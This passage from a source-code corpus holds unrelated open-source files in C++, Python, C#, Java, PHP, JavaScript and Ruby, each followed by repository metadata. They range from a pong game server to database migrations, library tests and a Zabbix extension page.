of the walls? if (ballX>width) { ballX=width-(ballX-width); ballXspeed=ballXspeed*-1; bounced=true; } else if (ballX<0) { ballX=ballX*-1; ballXspeed=ballXspeed*-1; bounced=true; } if (ballY>height) { ballY=height-(ballY-height); ballYspeed=ballYspeed*-1; bounced=true; } else if (ballY<0) { ballY=ballY*-1; ballYspeed=ballYspeed*-1; bounced=true; } //it bounced? if (bounced) { //update position ballPosition.set(ballX,ballY, ballXspeed, ballYspeed); } } //send a update to all players, each player gets a uniq list, sending only the minimum amount of data //TODO: possible optimization if there are lots of players, for now the code is clean rather that uber efficient map<int,Cmsg> outs; //list of output messages, one for each player int x,y,xSpeed,ySpeed; long double duration; //send everyone a ball position change if (ballPosition.isChanged()) { ballPosition.get(x,y,xSpeed,ySpeed); for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { outs[*I].list().push_back(0); outs[*I].list().push_back(x); outs[*I].list().push_back(y); outs[*I].list().push_back(xSpeed); outs[*I].list().push_back(ySpeed); } } //check which players have an updated position for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { if (playerMap[*I].hasMoved()) { playerMap[*I].getPosition(x,y,duration); //add the update to the out-message for all players, but never tell them their own info. for (CplayerIds::iterator sendI=playerIds.begin(); sendI!=playerIds.end(); sendI++) { if (*sendI!=*I) { outs[*sendI].list().push_back(*I); outs[*sendI].list().push_back(x); outs[*sendI].list().push_back(y); outs[*sendI].list().push_back(duration); } } } } //now do the actual sending for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { //only if there actually is something to send if (!outs[*I].list().empty()) { outs[*I].event="pong_Positions"; outs[*I].dst=*I; outs[*I].send(); } } } ~Cpong() { } }; mutex threadMutex; typedef map<int,Cpong> CpongMap ; CpongMap pongMap; // Get a reference to a pong game or throw exception Cpong & getPong(int id) { if (pongMap.find(id)== pongMap.end()) throw(runtime_error("Game not found!")); return (pongMap[id]); } SYNAPSE_REGISTER(pong_Engine) { bool idle; while(!shutdown) { idle=true; { lock_guard<mutex> lock(threadMutex); for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.runStep(); idle=false; } } if (!idle) usleep(10000); else sleep(1); //nothing to do, dont eat all the cpu .. } } /** Creates a new game on behave of \c src * */ SYNAPSE_REGISTER(pong_NewGame) { lock_guard<mutex> lock(threadMutex); if (msg["name"].str()=="") { throw(runtime_error("Please supply your name when creating a game.")); } if (pongMap.find(msg.src)== pongMap.end()) { pongMap[msg.src].init(msg.src, msg["name"].str()); //TODO: code duplication: //leave all games and join this one: for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.delPlayer(msg.src); } getPong(msg.src).addPlayer(msg.src, msg["name"]); } else { throw(runtime_error("You already own a game!")); } } //only modules can del games SYNAPSE_REGISTER(pong_DelGame) { lock_guard<mutex> lock(threadMutex); pongMap.erase(msg["id"]); Cmsg out; out.event="pong_GameDeleted"; out["id"]=msg["id"]; out.send(); } /** Lets \c src join a game * */ SYNAPSE_REGISTER(pong_JoinGame) { lock_guard<mutex> lock(threadMutex); //leave all other games //TODO: future versions allow you perhaps to be in multiple games? :) for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.delPlayer(msg.src); } getPong(msg["id"]).addPlayer(msg.src, msg["name"]); } /** Starts game of \c src * */ SYNAPSE_REGISTER(pong_StartGame) { lock_guard<mutex> lock(threadMutex); getPong(msg.src).start(); } /** Returns status of all games to client. * */ SYNAPSE_REGISTER(pong_GetGames) { lock_guard<mutex> lock(threadMutex); for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.sendStatus(msg.src); } } /** Sets position of \c src * */ SYNAPSE_REGISTER(pong_SetPosition) { lock_guard<mutex> lock(threadMutex); if (msg.list().size()==3) { CvarList::iterator I; I=msg.list().begin(); int x,y; long double duration; x=*I; I++; y=*I; I++; duration=*I; playerMap[msg.src].setPosition(x, y, duration); } } SYNAPSE_REGISTER(module_SessionEnded) { lock_guard<mutex> lock(threadMutex); //leave all games for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.delPlayer(msg["session"]); } //remove from map playerMap.erase(msg["session"]); } SYNAPSE_REGISTER(module_Shutdown) { shutdown=true; } }
psy0rz/Synapse
modules/pong.module/module.cpp
C++
gpl-3.0
11,121
from pygame import USEREVENT # Events SONG_END_EVENT = USEREVENT + 1 ENEMY_DESTROYED_EVENT = USEREVENT + 2 BOSS_BATTLE_EVENT = USEREVENT + 3 DISPLAY_MESSAGE_EVENT = USEREVENT + 4 END_LEVEL_EVENT = USEREVENT + 5 END_GAME_EVENT = USEREVENT + 6 # Constants SCREEN_SIZE = (800, 600) # Colors COLOR_BLACK = (0, 0, 0)
juanjosegzl/learningpygame
constants.py
Python
gpl-3.0
315
using System; using System.Collections.Generic; using System.Linq; using System.Runtime.Serialization; using System.Text; using System.Threading.Tasks; using BMW.Rheingold.Psdz.Model.Ecu; namespace BMW.Rheingold.Psdz.Model.Sfa { [KnownType(typeof(PsdzEcuIdentifier))] [KnownType(typeof(PsdzFeatureIdCto))] [DataContract] public class PsdzSecureTokenEto : IPsdzSecureTokenEto { [DataMember] public IPsdzEcuIdentifier EcuIdentifier { get; set; } [DataMember] public IPsdzFeatureIdCto FeatureIdCto { get; set; } [DataMember] public string SerializedSecureToken { get; set; } [DataMember] public string TokenId { get; set; } } }
uholeschak/ediabaslib
Tools/Psdz/PsdzClientLibrary/Psdz/PsdzSecureTokenEto.cs
C#
gpl-3.0
720
// Copyright (c) 2005 Brian Wellington (bwelling@xbill.org) package org.xbill.DNS; import java.io.*; import java.net.*; import java.nio.channels.*; import org.xbill.DNS.utils.hexdump; class Client { protected long endTime; protected SelectionKey key; protected Client(SelectableChannel channel, long endTime) throws IOException { boolean done = false; Selector selector = null; this.endTime = endTime; try { selector = Selector.open(); channel.configureBlocking(false); key = channel.register(selector, 0); done = true; } finally { if (!done && selector != null) selector.close(); if (!done) channel.close(); } } static protected void blockUntil(SelectionKey key, long endTime) throws IOException { long timeout = endTime - System.currentTimeMillis(); int nkeys = 0; if (timeout > 0) nkeys = key.selector().select(timeout); else if (timeout == 0) nkeys = key.selector().selectNow(); if (nkeys == 0) throw new SocketTimeoutException(); } static protected void verboseLog(String prefix, byte [] data) { if (Options.check("verbosemsg")) System.err.println(hexdump.dump(prefix, data)); } void cleanup() throws IOException { key.selector().close(); key.channel().close(); } }
dikonikon/layer17
src/main/java/org/xbill/DNS/Client.java
Java
gpl-3.0
1,221
#include "SceneObject2.h" SceneObject2::SceneObject2 () { } SceneObject2::~SceneObject2 () { } void SceneObject2::Update2 () { } void SceneObject2::Gravity_check2() { } void SceneObject2::Draw2 () { } void SceneObject2::Jump2() { } void SceneObject2::isover2() { over2 = true; } bool SceneObject2::get_over2() { return over2; } void SceneObject2::notover2() { over2 = false; } bool SceneObject2::over2 = false; bool SceneObject2::finish2 = false; void SceneObject2::set_finish2() { finish2 = true; } bool SceneObject2::get_finish2() { return finish2; }
ralucamindr/LiteEngine2D
src/SceneObject2.cpp
C++
gpl-3.0
569
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Renders text with the active filters and returns it. Used to create previews of computings * using whatever tex filters are enabled. * * @package atto_computing * @copyright 2014 Geoffrey Rowland <rowland.geoff@gmail.com> * Based on @package atto_equation * @copyright 2013 Damyon Wiese <damyon@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define('AJAX_SCRIPT', true); require_once(dirname(__FILE__) . '/../../../../../config.php'); $contextid = required_param('contextid', PARAM_INT); list($context, $course, $cm) = get_context_info_array($contextid); $PAGE->set_url('/lib/editor/atto/plugins/computing/ajax.php'); $PAGE->set_context($context); require_login($course, false, $cm); require_sesskey(); $action = required_param('action', PARAM_ALPHA); if ($action === 'filtertext') { $text = required_param('text', PARAM_RAW); $result = filter_manager::instance()->filter_text($text, $context); echo $OUTPUT->header(); echo $result; die(); } print_error('invalidarguments');
nitro2010/moodle
lib/editor/atto/plugins/computing/ajax.php
PHP
gpl-3.0
1,810
var dir_74389ed8173ad57b461b9d623a1f3867 = [ [ "Containers", "dir_08cccf7962d497a198ad678c4e330cfd.html", "dir_08cccf7962d497a198ad678c4e330cfd" ], [ "Controls", "dir_6f73af2b2c97c832a8b61d1fc1ff2ac5.html", "dir_6f73af2b2c97c832a8b61d1fc1ff2ac5" ], [ "Util", "dir_7db6fad920da64edfd558eb6dbc0c610.html", "dir_7db6fad920da64edfd558eb6dbc0c610" ], [ "ANSIConsoleRenderer.cpp", "ANSIConsoleRenderer_8cpp.html", "ANSIConsoleRenderer_8cpp" ], [ "ANSIConsoleRenderer.hpp", "ANSIConsoleRenderer_8hpp.html", "ANSIConsoleRenderer_8hpp" ], [ "ConsoleRenderer.cpp", "ConsoleRenderer_8cpp.html", "ConsoleRenderer_8cpp" ], [ "ConsoleRenderer.hpp", "ConsoleRenderer_8hpp.html", [ [ "ICharInformation", "classConsor_1_1Console_1_1ICharInformation.html", "classConsor_1_1Console_1_1ICharInformation" ], [ "renderbound_t", "structConsor_1_1Console_1_1renderbound__t.html", "structConsor_1_1Console_1_1renderbound__t" ], [ "IConsoleRenderer", "classConsor_1_1Console_1_1IConsoleRenderer.html", "classConsor_1_1Console_1_1IConsoleRenderer" ] ] ], [ "Control.cpp", "Control_8cpp.html", null ], [ "Control.hpp", "Control_8hpp.html", [ [ "Control", "classConsor_1_1Control.html", "classConsor_1_1Control" ] ] ], [ "InputSystem.hpp", "InputSystem_8hpp.html", "InputSystem_8hpp" ], [ "LinuxInputSystem.cpp", "LinuxInputSystem_8cpp.html", "LinuxInputSystem_8cpp" ], [ "LinuxInputSystem.hpp", "LinuxInputSystem_8hpp.html", [ [ "LinuxInputSystem", "classConsor_1_1Input_1_1LinuxInputSystem.html", "classConsor_1_1Input_1_1LinuxInputSystem" ] ] ], [ "main.cpp", "main_8cpp.html", "main_8cpp" ], [ "PlatformConsoleRenderer.hpp", "PlatformConsoleRenderer_8hpp.html", "PlatformConsoleRenderer_8hpp" ], [ "PlatformInputSystem.hpp", "PlatformInputSystem_8hpp.html", "PlatformInputSystem_8hpp" ], [ "Skin.hpp", "Skin_8hpp.html", [ [ "ISkin", "classConsor_1_1ISkin.html", "classConsor_1_1ISkin" ], [ "DefaultSkin", "classConsor_1_1DefaultSkin.html", "classConsor_1_1DefaultSkin" ], [ "HackerSkin", "classConsor_1_1HackerSkin.html", "classConsor_1_1HackerSkin" ], [ "MonoSkin", "classConsor_1_1MonoSkin.html", "classConsor_1_1MonoSkin" ] ] ], [ "Units.cpp", "Units_8cpp.html", "Units_8cpp" ], [ "Units.hpp", "Units_8hpp.html", "Units_8hpp" ], [ "WindowsConsoleRenderer.cpp", "WindowsConsoleRenderer_8cpp.html", "WindowsConsoleRenderer_8cpp" ], [ "WindowsConsoleRenderer.hpp", "WindowsConsoleRenderer_8hpp.html", "WindowsConsoleRenderer_8hpp" ], [ "WindowsInputSystem.cpp", "WindowsInputSystem_8cpp.html", null ], [ "WindowsInputSystem.hpp", "WindowsInputSystem_8hpp.html", [ [ "WindowsInputSystem", "classConsor_1_1Input_1_1WindowsInputSystem.html", "classConsor_1_1Input_1_1WindowsInputSystem" ] ] ], [ "WindowSystem.cpp", "WindowSystem_8cpp.html", "WindowSystem_8cpp" ], [ "WindowSystem.hpp", "WindowSystem_8hpp.html", "WindowSystem_8hpp" ] ];
KateAdams/kateadams.eu
static/*.kateadams.eu/Consor/Doxygen/dir_74389ed8173ad57b461b9d623a1f3867.js
JavaScript
gpl-3.0
2,985
class AddOpenscapProxyToHostAndHostgroup < ActiveRecord::Migration def up add_column :hostgroups, :openscap_proxy_id, :integer add_column :hosts, :openscap_proxy_id, :integer add_column :reports, :openscap_proxy_id, :integer end def down remove_column :hostgroups, :openscap_proxy_id, :integer remove_column :hosts, :openscap_proxy_id, :integer remove_column :reports, :openscap_proxy_id end end
shlomizadok/foreman_openscap
db/migrate/20151120090851_add_openscap_proxy_to_host_and_hostgroup.rb
Ruby
gpl-3.0
429
/******************************************************************************* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. *******************************************************************************/ package org.worldgrower; import java.io.Serializable; import java.util.HashMap; import java.util.List; import java.util.Map; import org.worldgrower.attribute.IntProperty; import org.worldgrower.attribute.ManagedProperty; import org.worldgrower.attribute.WorldObjectProperties; import org.worldgrower.condition.WorldStateChangedListeners; import org.worldgrower.goal.Goal; public class ImmutableWorldObject implements WorldObject, Serializable { private final WorldObjectProperties properties; private final List<ManagedProperty<?>> mutableProperties; private final OnTurn onTurn; private ImmutableWorldObject(WorldObjectProperties properties, List<ManagedProperty<?>> mutableProperties, OnTurn onTurn) { super(); this.properties = properties; this.mutableProperties = mutableProperties; this.onTurn = onTurn; } public ImmutableWorldObject(WorldObject sourceWorldObject, List<ManagedProperty<?>> mutableProperties, OnTurn onTurn) { Map<ManagedProperty<?>, Object> properties = new HashMap<>(); for(ManagedProperty<?> key : sourceWorldObject.getPropertyKeys()) { properties.put(key, key.copy(sourceWorldObject.getProperty(key))); } this.properties = new WorldObjectProperties(properties); this.mutableProperties = mutableProperties; this.onTurn = onTurn; } @Override public <T> T getProperty(ManagedProperty<T> propertyKey) { return properties.get(propertyKey); } @Override public boolean hasProperty(ManagedProperty<?> propertyKey) { return properties.containsKey(propertyKey); } @Override public List<ManagedProperty<?>> getPropertyKeys() { return properties.keySet(); } @Override public <T> void setProperty(ManagedProperty<T> propertyKey, T value) { if (mutableProperties.contains(propertyKey)) { setPropertyInternal(propertyKey, value); } } public <T> void setPropertyInternal(ManagedProperty<T> propertyKey, T value) { properties.put(propertyKey, value); } @Override public <T> void setPropertyUnchecked(ManagedProperty<T> propertyKey, T value) { setPropertyInternal(propertyKey, value); } @Override public <T> void removeProperty(ManagedProperty<T> propertyKey) { if (mutableProperties.contains(propertyKey)) { properties.remove(propertyKey); } } @Override public void increment(IntProperty propertyKey, int incrementValue) { if (mutableProperties.contains(propertyKey)) { int currentValue = this.getProperty(propertyKey) + incrementValue; currentValue = propertyKey.normalize(currentValue); setProperty(propertyKey, currentValue); } } @Override public ManagedOperation getOperation(ManagedOperation operation) { throw new UnsupportedOperationException("Method getOperation is not supported"); } @Override public List<ManagedOperation> getOperations() { throw new UnsupportedOperationException("Method getOperation is not supported"); } @Override public void onTurn(World world, WorldStateChangedListeners worldStateChangedListeners) { onTurn.onTurn(this, world, worldStateChangedListeners); } @Override public boolean hasIntelligence() { return false; } @Override public boolean isControlledByAI() { return false; } @Override public boolean canWorldObjectPerformAction(ManagedOperation operation) { return false; } @Override public List<Goal> getPriorities(World world) { return null; } @Override public <T> WorldObject shallowCopy() { return new ImmutableWorldObject(properties, mutableProperties, onTurn); } @Override public <T> WorldObject deepCopy() { return new ImmutableWorldObject(properties, mutableProperties, onTurn); } @Override public WorldObject getActionWorldObject() { return this; } @Override public OnTurn getOnTurn() { return onTurn; } }
WorldGrower/WorldGrower
src/org/worldgrower/ImmutableWorldObject.java
Java
gpl-3.0
4,739
/* Aether2DImgMaker -- console app to generate images of the Aether cellular automaton in 2D Copyright (C) 2017-2022 Jaume Ribas This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/> */ package cellularautomata.model1d; public interface SymmetricLongModel1D extends LongModel1D, SymmetricModel1D { /** * <p> * Returns the value at a given position within the asymmetric section of the grid. * That is, where the x-coordinate is inside the [{@link #getAsymmetricMinX()}, {@link #getAsymmetricMaxX()}] bounds. * </p> * <p> * The result of getting the value of a position outside these bounds is undefined. * <p> * * @param x the position on the x-axis * @return the {@link long} value at (x) * @throws Exception */ long getFromAsymmetricPosition(int x) throws Exception; @Override default LongModel1D asymmetricSection() { return new AsymmetricLongModelSection1D<SymmetricLongModel1D>(this); } }
JaumeRibas/Aether2DImgMaker
CellularAutomata/src/cellularautomata/model1d/SymmetricLongModel1D.java
Java
gpl-3.0
1,577
package code.name.monkey.appthemehelper.common.prefs.supportv7; import android.content.Context; import android.support.v7.preference.ListPreference; import android.util.AttributeSet; import code.name.monkey.appthemehelper.R; /** * @author Aidan Follestad (afollestad) */ public class ATEListPreference extends ListPreference { public ATEListPreference(Context context) { super(context); init(context, null); } public ATEListPreference(Context context, AttributeSet attrs) { super(context, attrs); init(context, attrs); } public ATEListPreference(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); init(context, attrs); } public ATEListPreference(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) { super(context, attrs, defStyleAttr, defStyleRes); init(context, attrs); } private void init(Context context, AttributeSet attrs) { setLayoutResource(R.layout.ate_preference_custom_support); if (getSummary() == null || getSummary().toString().trim().isEmpty()) setSummary("%s"); } }
h4h13/RetroMusicPlayer
appthemehelper/src/main/java/code/name/monkey/appthemehelper/common/prefs/supportv7/ATEListPreference.java
Java
gpl-3.0
1,187
package com.michaelvescovo.android.itemreaper.edit_item; import com.michaelvescovo.android.itemreaper.util.FakeImageFileImpl; import com.michaelvescovo.android.itemreaper.util.ImageFile; import dagger.Module; import dagger.Provides; /** * @author Michael Vescovo */ @Module public class EditItemModule { private EditItemContract.View mView; public EditItemModule(EditItemContract.View view) { mView = view; } @Provides EditItemContract.View provideEditItemView() { return mView; } @Provides ImageFile provideImageFile() { return new FakeImageFileImpl(); } @Provides String provideUid() { return "testUid"; } }
mvescovo/item-reaper
app/src/mock/java/com/michaelvescovo/android/itemreaper/edit_item/EditItemModule.java
Java
gpl-3.0
701
// // <one line to give the program's name and a brief idea of what it does.> // Copyright (C) 2017. WenJin Yu. windpenguin@gmail.com. // // Created at 2017/11/17 17:42:13 // Version 1.0 // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // #include <WindUtil/IdMgr/IdMgr.h> #include <WindUtil/Log/Log.h> #include <iostream> using namespace std; void TestIdMgr(){ wind::util::IdMgr idMgr; for (int i = 0; i < 10; ++i) { EASY_LOG << "Alloc id: " << idMgr.AllocId(); } idMgr.RegisterId(100); for (int i = 0; i < 10; ++i) { EASY_LOG << "Alloc id: " << idMgr.AllocId(); } idMgr.Reset(0); for (int i = 0; i < 10; ++i) { EASY_LOG << "Alloc id: " << idMgr.AllocId(); } }
windpenguin/WindUtil
Src/TestWindUtil/TestIdMgr.cpp
C++
gpl-3.0
1,283
<?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateTableFellowProgress extends Migration { /** * Run the migrations. * * @return void */ public function up() { // Schema::create('fellow_progress', function (Blueprint $table) { $table->increments('id'); $table->integer('fellow_id'); $table->integer('program_id'); $table->integer('activity_id')->nullable(); $table->integer('module_id')->nullable(); $table->integer('session_id')->nullable(); $table->integer('status')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { // Schema::dropIfExists('fellow_progress'); } }
GobiernoFacil/agentes-v2
database/migrations/2018_05_03_131639_create_table_fellow_progress.php
PHP
gpl-3.0
922
#include <algorithm> #include <cstdio> #include <vector> using std::vector; using std::max; #define clean(arr, con, len) for (int i=0; i<len ; i++) arr[i] = con; #define iftdo(con, tdo, len) for (int i=1; i<=len; i++) if(con) {tdo;} const int MAXN = 5010; const int MAXM = 50010; typedef enum {DO, DOING, DID} status; struct EDGE {int f, t;} edgs[MAXM]; bool hadin[MAXN], hadout[MAXN]; vector<int> edge[MAXN], iedge[MAXN]; int n, m, ans=-1; char s[MAXN]; int in[MAXN], out[MAXN]; void dp() { for (int i=1; i<=n; i++) { for (int j=0; j<(int)iedge[i].size(); j++) { in[i] += in[iedge[i][j]]; } } for (int i=n; i; i--) { for (int j=0; j<(int)edge[i].size(); j++) { out[i] += out[edge[i][j]]; } } } int main() { freopen("1529.in" , "r", stdin ); freopen("1529.out", "w", stdout); scanf("%d %d", &n, &m); for (int i=0, a, b; i<m; i++) { scanf("%d %d", &a, &b); edge [a].push_back(b); iedge[b].push_back(a); hadin[b] = true; hadout[a] = true; edgs[i].f = a; edgs[i].t = b; } iftdo(!hadin[i] , in[i]=1 , n); iftdo(!hadout[i], out[i]=1, n); dp(); for (int i=0; i<m; i++) { ans = max(ans, in[edgs[i].f] * out[edgs[i].t]); } printf("%d\n", ans); return 0; }
YanWQ-monad/monad
Cpp/Exam-answer/smoj.nhedu.net/1529.cpp
C++
gpl-3.0
1,210
/* This file is a part of libcds - Concurrent Data Structures library (C) Copyright Maxim Khizhinsky (libcds.dev@gmail.com) 2006-2017 Source code repo: http://github.com/khizmax/libcds/ Download: http://sourceforge.net/projects/libcds/files/ Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "test_fcpqueue.h" #include <cds/container/fcpriority_queue.h> #include <deque> namespace cds_test { TEST_F( FCPQueue, deque ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_stat ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_stat_single_mutex_single_condvar ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::single_mutex_single_condvar<>> >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_empty_wait_strategy ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::empty > >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_single_mutex_multi_condvar ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> ,less > ,cds::container::fcpqueue::make_traits< cds::opt::stat< cds::container::fcpqueue::stat<> > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::single_mutex_multi_condvar<2>> >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_mutex ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> > ,cds::container::fcpqueue::make_traits< cds::opt::lock_type< std::mutex > >::type > pqueue_type; pqueue_type pq; test( pq ); } TEST_F( FCPQueue, deque_multi_mutex_multi_condvar ) { typedef cds::container::FCPriorityQueue< value_type ,std::priority_queue< value_type ,std::deque<value_type> > ,cds::container::fcpqueue::make_traits< cds::opt::lock_type< std::mutex > , cds::opt::wait_strategy< cds::algo::flat_combining::wait_strategy::multi_mutex_multi_condvar<1000>> >::type > pqueue_type; pqueue_type pq; test( pq ); } } // namespace cds_test
whc10002/study
libcds/test/unit/pqueue/fcpqueue_deque.cpp
C++
gpl-3.0
5,258
<?php /* * * Purpose: Add support for external modules to extend Zabbix native functions * * Adail Horst - http://spinola.net.br/blog * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the Free Software * * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * */ // Global definitions ========================================================== require_once dirname(__FILE__) . '/include/config.inc.php'; /** * Base path to profiles on Zabbix Database */ $baseProfile = "everyz."; $page['title'] = _('EveryZ'); $page['file'] = 'everyz.php'; $filter = $fields = []; $TINYPAGE = true; switch (getRequest('format')) { case PAGE_TYPE_CSV: $page['file'] = 'everyz_export.csv'; $page['type'] = detect_page_type(PAGE_TYPE_CSV); break; case PAGE_TYPE_JSON: $page['file'] = 'everyz_export.json'; $page['type'] = detect_page_type(PAGE_TYPE_CSV); break; default: $page['type'] = detect_page_type(PAGE_TYPE_HTML); break; } $page['scripts'] = array('class.calendar.js', 'multiselect.js', 'gtlc.js'); require_once dirname(__FILE__) . '/include/page_header.php'; if ($page['type'] === detect_page_type(PAGE_TYPE_HTML)) { ?> <link href="local/app/everyz/css/everyz.css" rel="stylesheet" type="text/css" id="skinSheet"> <?php } $TINYPAGE = getRequest2("shorturl") !== ""; if ($TINYPAGE) { ?> <style type="text/css"> body { min-width: 100%; margin-bottom: 0px; } .filter-space, .filter-container, .filter-btn-container { display: none; } article, .article { padding: 0px 0px 0 0px; } </style> <?php } zbxeCheckDBConfig(); addFilterParameter("action", T_ZBX_STR, "dashboard", false, false, false); addFilterParameter("shorturl", T_ZBX_STR, '', false, false, false); zbxeTranslateURL(); /* ============================================================================= * Permissions ============================================================================== */ $config = select_config(); $action = getRequest2("action"); $module = "dashboard"; if (hasRequest('zbxe_reset_all') && getRequest2('zbxe_reset_all') == "EveryZ ReseT" && $action == "zbxe-config") { try { show_message(_zeT('EveryZ configuration back to default factory values! Please click on "EveryZ" menu!')); DBexecute(zbxeStandardDML("DROP TABLE `zbxe_preferences` ")); DBexecute(zbxeStandardDML("DROP TABLE `zbxe_translation` ")); DBexecute(zbxeStandardDML("DROP TABLE `zbxe_shorten` ")); DBexecute(zbxeStandardDML("DELETE FROM `profiles` where idx like 'everyz%' ")); $path = str_replace("local/app/views", "local/app/everyz/init", dirname(__FILE__)); if (!file_exists($path . '/everyz.initdb.php')) { $path = dirname(__FILE__) . '/local/app/everyz/init'; } require_once $path . '/everyz.initdb.php'; exit; } catch (Exception $e) { } } $res = DBselect('SELECT userid, tx_option, tx_value from zbxe_preferences zpre ' . ' WHERE userid in (0,' . CWebUser::$data['userid'] . ') ' . ' and tx_value like ' . quotestr($action . '|%') . ' order by userid, tx_option'); while ($row = DBfetch($res)) { $tmp = explode("|", $row['tx_value']); $module = $tmp[0]; } /* * *************************************************************************** * Access Control * ************************************************************************** */ if ($module == "dashboard") { zbxeCheckUserLevel(zbxeMenuUserType()); include_once dirname(__FILE__) . "/local/app/views/everyz.dashboard.view.php"; } else { zbxeCheckUserLevel((count($tmp) > 2 ? (int) $tmp[2] : 3)); $file = dirname(__FILE__) . "/local/app/views/everyz." . $module . ".view.php"; if (file_exists($file)) { include_once $file; } else { echo "Não existe o arquivo do modulo (" . $module . ")"; } } if (!$TINYPAGE) { echo "<!-- Everyz Version - " . EVERYZVERSION . " -->\n"; zbxeFullScreen(); require_once dirname(__FILE__) . '/include/page_footer.php'; }
SpawW/everyz
everyz.php
PHP
gpl-3.0
4,786
